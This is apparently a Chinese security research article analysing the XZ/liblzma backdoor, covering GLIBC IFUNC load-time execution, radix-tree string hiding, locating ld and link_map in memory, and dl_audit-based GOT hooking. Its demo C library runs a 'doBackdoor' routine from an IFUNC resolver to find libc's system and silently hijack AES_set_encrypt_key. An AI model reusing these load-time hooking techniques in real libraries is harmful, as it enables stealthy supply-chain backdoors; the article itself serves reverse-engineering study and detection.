1 技巧一之GLIBC的IFUNC特性
GLIBC 中存在一个名为IFUNC（Indirect Functions）的特性。为了理解IFUNC的功能，我们可以先看一段简单的示例代码，如下所示：
#include <stdio.h>
#include <stdlib.h>
void foo_1()
{
printf("This is foo1n");
}
void foo_2()
{
printf("This is foo2n");
}
typedef void (*foo_t)();
void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
char *path;
printf("do foo_resolvern");
path = getenv("FOO");
if (path)
return foo_1;
else
return foo_2;
}
void __attribute__((constructor)) initFunc(void) {
printf("do initFunc.n");
}
int main(int argc, char *argv[])
{
char *env;
printf("Do Main Func.n");
env = getenv("FOO");
if (env)
printf("do test FOO = %sn", env);
foo();
return 0;
}上述代码片段首先是定义一个IFUNC特性的foo函数：void foo() __attribute__((__ifunc__("foo_resolver")));
foo函数执行的代码由foo_resolver函数决定，我们编写foo_resolver函数的作用是用来判断是否设置了环境变量FOO，如果设置了，那么foo函数等于foo_1函数，否则等于foo_2函数。
最后，代码还包含一个构造函数initFunc，用于比较构造函数和IFUNC函数执行的顺序。
接下来，我们将编译并运行上述代码，如下所示：
# 加上-g，方便我们后续调试
$ gcc test.c -o test -g
$ ./test
do foo_resolver
do initFunc.
Do Main Func.
This is foo2
$ FOO=1 ./test
do foo_resolver
do initFunc.
Do Main Func.
do test FOO = 1
This is foo2从上面的执行结果来看，可以能发现：
-
执行顺序是
foo_resolver->initFunc->main。 -
foo_resolver函数无法获取FOO环境变量。
接着再从代码层面来看，通过IDA对test程序进行逆向分析，发现foo函数被放在.got表中，并没有发现任何调用foo_resolver函数的代码。说明是由glibc的ld加载时确定foo函数的地址，但是ld是如何知道要调用foo_resolver函数呢？经过研究发现：
$ readelf -s test |grep foo
19: 00000000000011c3 26 FUNC GLOBAL DEFAULT 16 foo_2
31: 00000000000011a9 26 FUNC GLOBAL DEFAULT 16 foo_1
32: 00000000000011dd 71 IFUNC GLOBAL DEFAULT 16 foo
38: 00000000000011dd 71 FUNC GLOBAL DEFAULT 16 foo_resolver在二进制文件的符号表中，定义了foo函数的IFUNC标志位，且定义的地址为foo_resolver函数的地址。
从这可以推断出，glibc在处理.got表的地址时，如果发现IFUNC标志位，那么执行该函数，然后把返回值写入.got表中。
下一步，将对代码进行调试来确认我们的推断，调试过程如下：
$ gdb test
pwndbg> b foo_resolver
pwndbg> r
......
? 0 0x5555555551e9 foo_resolver+12
1 0x7ffff7fd46eb _dl_relocate_object+2443
2 0x7ffff7fd46eb _dl_relocate_object+2443
3 0x7ffff7fd46eb _dl_relocate_object+2443
4 0x7ffff7fe6a63 dl_main+8579
5 0x7ffff7fe283c _dl_sysdep_start+1020
6 0x7ffff7fe4598 _dl_start+1384
7 0x7ffff7fe4598 _dl_start+1384
......
RAX 0x5555555551c3 (foo_2) ?— endbr64
? 0x555555555223 <foo_resolver+70> ret <0x7ffff7fd46eb; _dl_relocate_object+2443>
pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10
0x555555557fc0 <[email protected]>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x0000000000001060 0x00007ffff7db5dc0
pwndbg> b main
pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10
0x555555557fc0 <[email protected]>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x00005555555551c3 0x00007ffff7db5dc0在上面的调试内容中，我们可以得知：
-
foo_resolver函数的调用流程大概是：_dl_start->dl_main->_dl_relocate_object->foo_resolver。 -
*ABS*@got.plt就是foo函数的got表，该got表的值在调用完foo_resolver函数后写入。
到这，可以解答前面的一个疑惑：由于foo_resolver函数在dl链接阶段被加载调用，此时环境变量尚未被GLIBC加载，因此调用getenv函数将返回NULL，导致最终返回的都是foo_2函数。
到此我们可以得出结论：GLIBC的IFUNC特性，可以让我们像使用构造函数(__attribute__((constructor)))一样，在程序的LD加载阶段时自动运行。XZ后门利用了这一特性，在liblzma.so依赖库文件被加载时，自动运行后门代码。
另外，需要注意的是，IFUNC特性在glibc 2.11.1版本以上才被支持，如需编译含有IFUNC功能的代码，需使用GCC 4.6以上的编译器，且要求GNU Binutils版本在2.20.1以上。
我们还可以写一个脚本简单的check一下所有包含IFUNC的so库：
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
import os
import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
def find_all_files(path):
for root, dirs, files in os.walk(path):
for file in files:
yield os.path.join(root, file)
def is_elf(file):
try:
with open(file, "rb") as f:
data = f.read(4)
except:
return False
return data == b"x7FELF"
def get_ifunc_symbols(file_path):
with open(file_path, 'rb') as f:
elffile = ELFFile(f)
ifunc_symbols = []
for section in elffile.iter_sections():
# 只处理符号表部分
if isinstance(section, SymbolTableSection):
for symbol in section.iter_symbols():
# 检查符号类型是否为 'STT_GNU_IFUNC'
if symbol['st_info']['type'] == 'STT_LOOS':
ifunc_symbols.append(symbol)
return ifunc_symbols
for file in find_all_files(sys.argv[1]):
if is_elf(file):
symbols = get_ifunc_symbols(file)
if symbols:
print(f"{file} found ST_IFUNC")
for symbol in symbols:
print(f"Name: {symbol.name}, Address: {hex(symbol['st_value'])}")使用方法如下：
$ python3 check.py /lib
/lib/x86_64-linux-gnu/libz.so.1.2.11 found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libz.so found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libmvec.so.1 found ST_IFUNC
Name: _ZGVdN8vv_atan2f, Address: 0x8450
Name: _ZGVdN4v_atan, Address: 0x6a90
Name: _ZGVbN4v_acosf, Address: 0x7e50
Name: _ZGVdN8v_sinf, Address: 0x8780
......最后还需考虑一点，在上述示例中，IFUNC函数在可执行程序中执行，因此设置断点相对较容易。然而，如果需要调试so库中的IFUNC函数，可能需要采用更巧妙的方法来设置断点。
随便找了一个示例代码，编译命令使用：gcc test2.c -o test2 -llzma -g。
然后使用patchelf工具，修改二进制程序的RPATH为liblzma.so的路径：patchelf --set-rpath /home/ubuntu/xz-utils-vul/src/liblzma/.libs/ test2。
接着写一个.gdbinit脚本，可以直接断到lzma_crc64函数：
$ cat .gdbinit
b _start
r
b _dl_relocate_object
c
b *0x7ffff7f84580 (自行计算lzma_crc64地址)
c
c
$ gdb test2
pwndbg> source .gdbinit
? 0x7ffff7f84580 endbr642 技巧二之利用 Radix Tree 隐藏字符
经常做逆向分析的都知道，很多时候都是通过特殊字符串来定位代码。但是在XZ事件后门文件liblzma.so中，却没有发现任何异常字符串，尽管我们了解到XZ后门是针对SSH服务的关键函数进行hook，但是在liblzma.so中并未包含任何sshd相关的字符串，这是因为XZ后门利用了radix tree算法。
已经有人针对该算法把liblzma.so中的字符串进行提取，可以参考提取出的字符串和提取字符串的代码。
上述代码是针对该算法的逆向过程，我学习了该算法，并用Python编写了一个正向过程的代码，如下所示：
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
class RadixObject:
louint64: int
hiuint64: int
childPtr: dict
def __init__(self, lo: int, hi: int):
self.louint64 = lo
self.hiuint64 = hi
self.endPoint = 0
self.childPtr = {}
# 判断char是否在当前链表中，char的范围是0-128
def isExist(self, char: int) -> bool:
if char < 0 or char >= 128:
raise Exception(f"isExist: char value err, char = {char}")
if char < 0x40:
return (self.louint64 >> char) & 1 == 1
else:
char -= 0x40
return (self.hiuint64 >> char) & 1 == 1
def getChild(self, char: int):
if char >= 0x40:
char -= 0x40
return self.childPtr[char]
class RadixTree:
def __init__(self):
self.rootRadix: RadixObject = RadixObject(0, 0)
def insertStr(self, string: bytes) -> int:
if not self.checkValidStr(string):
return -1
currentRadix = self.rootRadix
for i in string[:-1]:
currentRadix = self.__add(currentRadix, i)
self.__add(currentRadix, string[-1], True)
return 1
def searchTest(self, string: bytes) -> bool:
if not self.checkValidStr(string):
return False
currentRadix = self.rootRadix
for c in string[:-1]:
if not currentRadix.isExist(c):
return False
currentRadix = currentRadix.getChild(c)
if currentRadix.isExist(string[-1]) and (currentRadix.endPoint >> string[-1]) & 1 == 1:
return True
return False
def __add(self, radix: RadixObject, char: int, last: bool = False)->RadixObject:
if last:
radix.endPoint |= 1 << char
if not radix.isExist(char):
if char < 0x40:
radix.louint64 |= 1<<char
else:
char -= 0x40
radix.hiuint64 |= 1<<char
radix.childPtr[char] = RadixObject(0, 0)
else:
if char >= 0x40:
char -= 0x40
return radix.childPtr[char]
# string: ascii 0 - 128
def checkValidStr(self, string: bytes) -> bool:
for i in string:
if i >= 0 and i < 128:
continue
return False
return True
def main():
rd = RadixTree()
rd.insertStr(b"ABCDEFG")
rd.insertStr(b"IIBBJ")
rd.insertStr(b"ABCDE")
print(rd.searchTest(b"ABCDE"))
if __name__ == "__main__":
main()上述编写的radix tree算法相比于XZ后门中的实现简化了压缩存储数据的部分，并且由于使用Python编写，因此更易于理解。
研究XZ后门的过程通常涉及自行在本地编译liblzma.so文件。由于编译环境的不同，导致编译出来的偏移地址可能会略有差异。因此，下面我将根据GitHub上提取字符串的代码，简要解释radix tree算法的逻辑。
在代码中，有两个内存表：tbl_1_mem和tbl_2_mem，都是从IDA中提取出来的，使用顺序是从后往前。
在tbl_1_mem表中，数据记录了flag信息和指向child链表的指针。每个结构体占用4字节。
在tbl_2_mem表中，存储着字符信息。每个结构体占用16字节，相当于正向算法代码中的RadixObject对象的louint64和hiuint64。每个结构体共128bit（16字节），可以表示128个字符。由于ASCII码范围是从0到127，因此一个结构体可以表示任意一个ASCII码。
在代码中定义了tbl_2的起始偏移为：tbl_2_offs=0x760，我们再计算一下表的大小和其差值：len(tbl_2_mem) - 0x760 = 16。
可以看出radix tree的根链表在tbl_2的最后16字节中，还可以再算算tbl_1：
>>> popcount(tbl_2[0]) + popcount(tbl_2[1])
30 # 计算根链表中储存着几个字符，也就是储存的字符串的起始字符有几种
>>> len(tbl_1_mem) - 0x13e8
120
>>> 120 / 4
30 # 从这可以看出tbl_1中最后120字节储存着根链表的30个字符的标志信息和子链表的指针如果要实现XZ后门中radix tree算法的效果，首先要把上面提供的python代码转换为C代码，接着需要对内存进行压缩，比如在python代码中，子链表的key直接设置为字符的ascii码，在XZ后门中，key设置的是从0开始的第n个字符。
3 技巧三之获取所有依赖库信息
这里简单阐述一下XZ后门获取依赖库信息的方法。
-
获取
__tls_get_addr函数的.plt表地址，根据该地址获取到其.got表地址，从而获取到__tls_get_addr函数的实际地址。 -
由于
__tls_get_addr函数是位于ld中的函数，所以可以根据该地址爆破出ld的基地址。 -
获取到ld的基地址后，就可以匹配ld的ELF头信息，这样就能很容易的匹配到ld的任意符号地址。
-
首先匹配的是ld的
__libc_stack_end指针，该变量指向栈底，正常情况下，该地址之后只储存着程序执行的参数和环境变量。 -
匹配到
__libc_stack_end地址后，就可以获取到执行参数和环境变量，对参数和环境变量进行一些过滤，满足条件的才进入后续执行。 -
接着匹配ld的
_r_debug指针，该指针储存着r_debug结构体，在该结构体中储存着struct link_map *r_map结构体，r_map结构体储存着所有依赖库的地址。 -
根据
r_map结构体，就能直接匹配到libc.so,libcrypto,sshd等文件的内存地址，知道地址后，根据第三步的步骤，就能获取到任意想匹配的符号地址，比如RSA_public_decrypt函数地址。
上面的步骤看似简单，但代码仍相对复杂。根据上述逻辑，编写了一个简化的demo代码，如下所示：
// testlib.c
// 编译命令：gcc testlib.c -o libtest.so -shared -fPIC -g
#include "testlib.h"
extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_;
void *ld_base_addr = 0;
void foo_1()
{
printf("This is foo1n");
}
void foo_2()
{
printf("This is foo2n");
}
void *findLdBase()
{
void * tls_get_addr = __tls_get_addr;
void *ld_end_addr = 0;
ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
ld_end_addr = ld_base_addr - 0x20000;
while (memcmp(ld_base_addr, "x7F""ELF", 4))
{
ld_base_addr -= 0x1000;
if (ld_base_addr == ld_end_addr) {
printf("findLdBase Error.n");
return (void *)-1;
}
}
printf("success find ld base addr: %pn", ld_base_addr);
return ld_base_addr;
}
void *findSymAddr(void *addr, const char *symbol) {
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff);
Elf64_Dyn *dyn = NULL;
Elf64_Sym *symtab = NULL;
char *strtab = NULL;
void (*symAddr)();
for (int i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_DYNAMIC) {
dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr);
break;
}
}
if (dyn == NULL) {
printf("Dynamic segment not found.n");
return NULL;
}
for (int i = 0; dyn[i].d_tag != DT_NULL; i++) {
if (dyn[i].d_tag == DT_SYMTAB) {
symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
}
if (dyn[i].d_tag == DT_STRTAB) {
strtab = (char *)(dyn[i].d_un.d_ptr);
}
}
if (symtab == NULL || strtab == NULL) {
printf("Symbol table or string table not found.n");
return NULL;
}
for (int i = 0; &symtab[i] < strtab; i++) {
if (strcmp(strtab + symtab[i].st_name, symbol) == 0) {
symAddr = (void *)addr + symtab[i].st_value;
printf("Symbol %s found at address %pn", symbol, symAddr);
return symAddr;
}
}
printf("Symbol %s not found.n", symbol);
return NULL;
}
void getArgsEnv(void *stackAddr[])
{
char **argv = *(char **)stackAddr;
char **envp;
int i;
int argc = (int)argv[0];
printf("argc = %dn", argc);
for (i=1; argv[i] != 0; i++)
{
printf("argv[%d] = %sn", i-1, argv[i]);
}
envp = &argv[i+1];
for (i=0; envp[i] != 0; i++)
{
printf("envp[%d] = %sn", i, envp[i]);
}
}
void getLinkMap(struct link_map *r_map)
{
char *l_name;
while (1)
{
printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
if (strstr(r_map->l_name, "libc.so.6"))
{
findSymAddr(r_map->l_addr, "system");
}
if (!r_map->l_next)
break;
r_map = r_map->l_next;
}
}
int doBackdoor()
{
int status;
void (*ldBaseAddr)();
void (*libc_stack_end)();
struct r_debug* rc_debug;
ldBaseAddr = findLdBase();
if ((int64_t)ldBaseAddr <= 0)
goto error;
libc_stack_end = findSymAddr(ldBaseAddr, "__libc_stack_end");
getArgsEnv(libc_stack_end);
rc_debug = findSymAddr(ldBaseAddr, "_r_debug");
getLinkMap(rc_debug->r_map);
error:
return -1;
}
void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
char *path;
printf("do foo_resolvern");
doBackdoor();
path = getenv("PATH");
if (path)
return foo_1;
else
return foo_2;
}再随便写一个main函数：
// test4.c
// 编译命令：gcc test4.c -o test4 -L. -ltest
#include "testlib.h"
int main(int argc, char *argv[])
{
foo();
return 0;
}头文件内容为：
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <elf.h>
#include <link.h>
typedef void (*foo_t)();
foo_t foo_resolver();
void foo_2();
void foo_1();运行结果如下所示：
$ LD_LIBRARY_PATH=. ./test4
do foo_resolver
success find ld base addr: 0x7f8a42a9f000
Symbol __libc_stack_end found at address 0x7f8a42ad8a90
argc = 1
argv[0] = ./test4
envp[0] = USER=ubuntu
......
Symbol _r_debug found at address 0x7f8a42ada118
name = , addr = 0x5624d7d18000, ld addr = 0x5624d7d1bdb8
name = linux-vdso.so.1, addr = 0x7ffe2979c000, ld addr = 0x7ffe2979c3e0
name = ./libtest.so, addr = 0x7f8a42a98000, ld addr = 0x7f8a42a9bdf0
name = /lib/x86_64-linux-gnu/libc.so.6, addr = 0x7f8a42869000, ld addr = 0x7f8a42a82bc0
Symbol system found at address 0x7f8a428b9d70
name = /lib64/ld-linux-x86-64.so.2, addr = 0x7f8a42a9f000, ld addr = 0x7f8a42ad8e80
This is foo2上述代码属于XZ后门的简化版本，仅实现了核心功能，并尽可能直接使用库函数。值得注意的是，在XZ后门中，基本没有使用库函数，而是自己实现了所有功能。
下面简单梳理一下上面代码的主要逻辑：
-
通过
__tls_get_addr地址爆破出ld的基地址。 -
实现一个函数，能通过ELF文件的内存基地址，找到任意符号地址。
-
搜索出
__libc_stack_end地址，然后根据该地址输出参数和环境变量信息。 -
搜索出
_r_debug地址，通过该地址找到所有加载的程序的信息。 -
XZ后门在sshd程序中找到 RSA_public_decrypt地址，模拟成在libc中找到system函数地址。
3.1 注意事项
-
name = 空白的为主程序。 -
findSymAddr函数是使用调教过后的GPT4自动生成。 -
在上面的代码中是直接获取
__tls_get_addr函数.got表的地址，所以可以直接获取函数的实际地址。但是在XZ后门中，是获取__tls_get_addr函数.plt.got的地址，暂时没明白是如何实现的，使用命令readelf -r liblzma_la-crc64_fast.o(存在后门)，发现有一个重定向表，暂时也不清楚是如何实现的。
Relocation section '.rela.rodata.rc_encode' at offset 0x157c8 contains 2 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000000 010e0000001f R_X86_64_PLTOFF64 0000000000000000 __tls_get_addr + 0
000000000008 00d400000019 R_X86_64_GOTOFF64 0000000000000000 .Lx86_coder_destroy + 0.rodata段编译一个R_X86_64_PLTOFF64/R_X86_64_GOTOFF64类型的值。4 技巧四之hook其他依赖库函数
很多文章都有说到XZ后门是利用dl_audit机制来进行函数hook的，但是基本上都认为大家都知道该机制，并没有讲解该机制流程。
所以，下面将对XZ后门利用dl_audit机制进行函数hook的流程进行说明。
有一篇参考文章中提到在_dl_audit_symbind_alt函数中调用install_hooks函数，但是在ubuntu22.04的环境上进行调试发现，调用的是_dl_audit_symbind，并不会调用到_dl_audit_symbind_alt函数。
位于elf/do-rel.h文件中的elf_dynamic_do_Rel函数会调用_dl_audit_symbind，代码如下所示：
// elf/do-rel.h
......
elf_machine_rel (map, scope, r, sym, rversion, r_addr_arg,
skip_ifunc);
#if defined SHARED && !defined RTLD_BOOTSTRAP
if (ELFW(R_TYPE) (r->r_info) == ELF_MACHINE_JMP_SLOT
&& GLRO(dl_naudit) > 0)
{
struct link_map *sym_map
= RESOLVE_MAP (map, scope, &sym, rversion,
ELF_MACHINE_JMP_SLOT);
if (sym != NULL)
_dl_audit_symbind (map, NULL, sym, r_addr_arg, sym_map);
}
#endif
}
......通过上面代码发现，首先需要满足GLRO(dl_naudit) > 0条件才会进入_dl_audit_symbind函数。
_dl_audit_symbind位于elf/dl-audit.c文件中，部分代码如下所示：
// elf/dl-audit.c
void
_dl_audit_symbind (struct link_map *l, struct reloc_result *reloc_result,
const ElfW(Sym) *defsym, DL_FIXUP_VALUE_TYPE *value,
lookup_t result)
{
bool for_jmp_slot = reloc_result == NULL;
/* Compute index of the symbol entry in the symbol table of the DSO
with the definition. */
unsigned int boundndx = defsym - (ElfW(Sym) *) D_PTR (result,
l_info[DT_SYMTAB]);
if (!for_jmp_slot)
{
reloc_result->bound = result;
reloc_result->boundndx = boundndx;
}
if ((l->l_audit_any_plt | result->l_audit_any_plt) == 0)
{
/* Set all bits since this symbol binding is not interesting. */
if (!for_jmp_slot)
reloc_result->enterexit = (1u << DL_NNS) - 1;
return;
}
......
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
/* XXX Check whether both DSOs must request action or only one */
struct auditstate *l_state = link_map_audit_state (l, cnt);
struct auditstate *result_state = link_map_audit_state (result, cnt);
if ((l_state->bindflags & LA_FLG_BINDFROM) != 0
&& (result_state->bindflags & LA_FLG_BINDTO) != 0)
{
if (afct->symbind != NULL)
{
flags |= for_jmp_slot ? LA_SYMB_NOPLTENTER | LA_SYMB_NOPLTEXIT
: 0;
new_value = afct->symbind (&sym, boundndx,
&l_state->cookie,
&result_state->cookie, &flags,
strtab2 + defsym->st_name);
......经过研究发现_dl_audit_symbind函数必须得满足(l->l_audit_any_plt | result->l_audit_any_plt) == 0条件，且l_state和result_state均需要满足相应条件，才能进入后续流程调用afct->symbind函数。
比较关键的条件都讲完了，现在说说XZ后门hook函数的逻辑。
-
首先在ld中找到
_dl_audit_symbind_alt符号，然后在该函数的内存中通过内置的反汇编函数，找到GLRO(dl_audit)和GLRO(dl_naudit)变量的地址。（这里可以有个猜测，参考文章这部分分析错了，XZ后门是通过_dl_audit_symbind_alt函数匹配出两个变量的地址，而不是之后会调用该函数。） -
把dl_naudit赋值为1，dl_audit结构体的symbind64函数指针设置为
install_hook函数。 -
根据
r_debug结构体中匹配出的sshd的ELF文件的link_map结构体，将其成员变量l_audit_any_plt的值设置为1。 -
ld在处理重定向表时，首先处理的是so库，在处理
liblzma.so的重定向表时，调用到后门函数，做了上面这几步的处理。 -
最后在处理
sshd的重定向表时，会进入到_dl_audit_symbind函数的流程，处理每个重定向表都会调用该函数，随后在install_hook函数对符号名进行过滤，如果匹配到RSA_public_decrypt,EVP_PKEY_set1_RSA,RSA_get0_key符号时，会修改sshd的got表，修改为对应的hook函数，并且修改该符号的Elf64_Sym结构体。
下面写一个简单的demo来模拟一下XZ后门的上述逻辑过程：
// testlib.c
// gcc -g testlib.c -o libtest.so -shared -fPIC
#include "testlib.h"
extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_;
void *ld_base_addr = 0;
struct audit_ifaces dl_audit;
void **aes_func_got;
void foo_1()
{
printf("This is foo1n");
}
void foo_2()
{
printf("This is foo2n");
}
void hook_aes_func(char *key, int length, char *enc_key)
{
printf("do hook_aes_funcnlength = %dn", length);
}
uint64_t install_hook(Elf64_Sym *a1, void *a2, void *a3, void *a4, void *a5, char *sym_name)
{
printf("do install_hook, sym_name = %sn", sym_name);
if (!strcmp(sym_name, "AES_set_encrypt_key"))
{
*aes_func_got = &hook_aes_func;
a1->st_value = &hook_aes_func;
}
return a1->st_value;
}
void *findLdBase()
{
void * tls_get_addr = __tls_get_addr;
void *ld_end_addr = 0;
ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
ld_end_addr = ld_base_addr - 0x20000;
while (memcmp(ld_base_addr, "x7F""ELF", 4))
{
ld_base_addr -= 0x1000;
if (ld_base_addr == ld_end_addr) {
printf("findLdBase Error.n");
return (void *)-1;
}
}
printf("success find ld base addr: %pn", ld_base_addr);
return ld_base_addr;
}
void *findSymAddr(void *addr, const char *symbol, int mode) {
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff);
Elf64_Dyn *dyn = NULL;
Elf64_Sym *symtab = NULL;
char *strtab = NULL;
void (*symAddr)();
Elf64_Rela* relas = NULL;
int rela_count = 0;
for (int i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_DYNAMIC) {
dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr);
break;
}
}
if (dyn == NULL) {
printf("Dynamic segment not found.n");
return NULL;
}
for (int i = 0; dyn[i].d_tag != DT_NULL; i++) {
if (dyn[i].d_tag == DT_SYMTAB) {
symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
}
else if (dyn[i].d_tag == DT_STRTAB) {
strtab = (char *)(dyn[i].d_un.d_ptr);
}
else if (dyn[i].d_tag == DT_JMPREL) {
relas = (Elf64_Rela*) ((char*)dyn[i].d_un.d_ptr);
}
else if (dyn[i].d_tag == DT_PLTRELSZ) {
rela_count = dyn[i].d_un.d_ptr / sizeof(Elf64_Rela);
}
}
if (symtab == NULL || strtab == NULL) {
printf("Symbol table or string table not found.n");
return NULL;
}
if (mode == 1 && relas == NULL)
{
printf("rela table not found.n");
return NULL;
}
if (mode == 1)
{
for (int i = 0; i < rela_count; i++) {
Elf64_Sym* sym = &symtab[ELF64_R_SYM(relas[i].r_info)];
if (strcmp(strtab + sym->st_name, symbol) == 0) {
symAddr = (void *)addr + relas[i].r_offset;
printf("Symbol %s got found at address %pn", symbol, symAddr);
return symAddr;
}
}
}
else {
for (int i = 0; &symtab[i] < strtab; i++) {
if (strcmp(strtab + symtab[i].st_name, symbol) == 0) {
symAddr = (void *)addr + symtab[i].st_value;
printf("Symbol %s found at address %pn", symbol, symAddr);
return symAddr;
}
}
}
printf("Symbol %s not found.n", symbol);
return NULL;
}
void setAuditPtr(struct link_map *r_map)
{
// set l_audit_any_plt
char *l_name;
struct link_map *elf_ptr = 0;
struct link_map *libcrypto_ptr = 0;
char plt;
while (1)
{
if (r_map->l_name && *(char *)r_map->l_name == 0)
{
printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
elf_ptr = r_map;
aes_func_got = findSymAddr(r_map->l_addr, "AES_set_encrypt_key", 1);
}
else if (strstr(r_map->l_name, "libcrypto.so.3"))
{
printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
libcrypto_ptr = r_map;
}
if (!r_map->l_next)
break;
r_map = r_map->l_next;
}
if (!elf_ptr)
{
printf("get elf link_map errorn");
return;
}
printf("success get elf link_map = %pn", elf_ptr);
// 因为导入的是/usr/include/link.h中的struct link_map结构体，不存在l_audit_any_plt变量，直接使用glibc的elf/link.h需要解决太多错误，所以这里直接用偏移。
plt = *((char *)elf_ptr + 0x31e);
*((char *)elf_ptr + 0x31e) = plt | 1;
// 设置bindflags
*((char *)elf_ptr + 0x488 + 8) = 2;
*((char *)libcrypto_ptr + 0x488 + 8) = 1;
}
int doBackdoor()
{
int status;
void (*ldBaseAddr)();
void (*libc_stack_end)();
void *rtld_global_ro;
struct r_debug* rc_debug;
int *dl_naudit;
struct audit_ifaces **dl_audit_ptr;
ldBaseAddr = findLdBase();
if ((int64_t)ldBaseAddr <= 0)
goto error;
rc_debug = findSymAddr(ldBaseAddr, "_r_debug", 0);
setAuditPtr(rc_debug->r_map);
rtld_global_ro = findSymAddr(ldBaseAddr, "_rtld_global_ro", 0);
dl_naudit = rtld_global_ro + 920;
*dl_naudit = 1;
dl_audit_ptr = rtld_global_ro + 912;
dl_audit.symbind64 = install_hook;
*dl_audit_ptr = &dl_audit;
error:
return -1;
}
void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
char *path;
printf("do foo_resolvern");
doBackdoor();
path = getenv("PATH");
if (path)
return foo_1;
else
return foo_2;
}还有一个主程序，代码如下：
// test5.c
// gcc test5.c -o test5 -L. -ltest -lcrypto
#include "testlib.h"
#include <openssl/aes.h>
void importCryptoDemo()
{
// The key to use for encryption
AES_KEY enc_key;
unsigned char key[AES_BLOCK_SIZE];
memset(key, 0, AES_BLOCK_SIZE); // Zeroing the key
AES_set_encrypt_key(key, 128, &enc_key);
}
int main(int argc, char *argv[])
{
char *path;
foo();
importCryptoDemo();
return 0;
}执行结果如下所示：
$ LD_LIBRARY_PATH=. ./test5
do foo_resolver
success find ld base addr: 0x7f1e9ad80000
Symbol _r_debug found at address 0x7f1e9adbb118
name = , addr = 0x561bd3a66000, ld addr = 0x561bd3a69d90
Symbol AES_set_encrypt_key got found at address 0x561bd3a69fd0
name = /lib/x86_64-linux-gnu/libcrypto.so.3, addr = 0x7f1e9a92f000, ld addr = 0x7f1e9ad6c8a0
success get elf link_map = 0x7f1e9adbb2e0
Symbol _rtld_global_ro found at address 0x7f1e9adb9ae0
do install_hook, sym_name = AES_set_encrypt_key
do install_hook, sym_name = calloc
do install_hook, sym_name = free
do install_hook, sym_name = malloc
do install_hook, sym_name = realloc
This is foo2
do hook_aes_func
length = 128AES_set_encrypt_key函数替换成hook_aes_func函数。5 总结
本文中测试的demo代码是按照XZ后门的原理，化简后编写出来的，XZ后门的代码复杂度比上面的demo高出非常多，除了lzma_alloc函数，XZ后门中没有依赖其他任何库函数，完全是自行编写代码实现，比如对代码段进行反汇编，匹配出dl_audit地址，工作量是非常大的。尽管对其原理进行了了解，但要实现它仍需要很大的努力。
6 参考链接
作者名片
原文始发于微信公众号（知道创宇404实验室）：原创 Paper | 从 XZ 后门学奇技淫巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论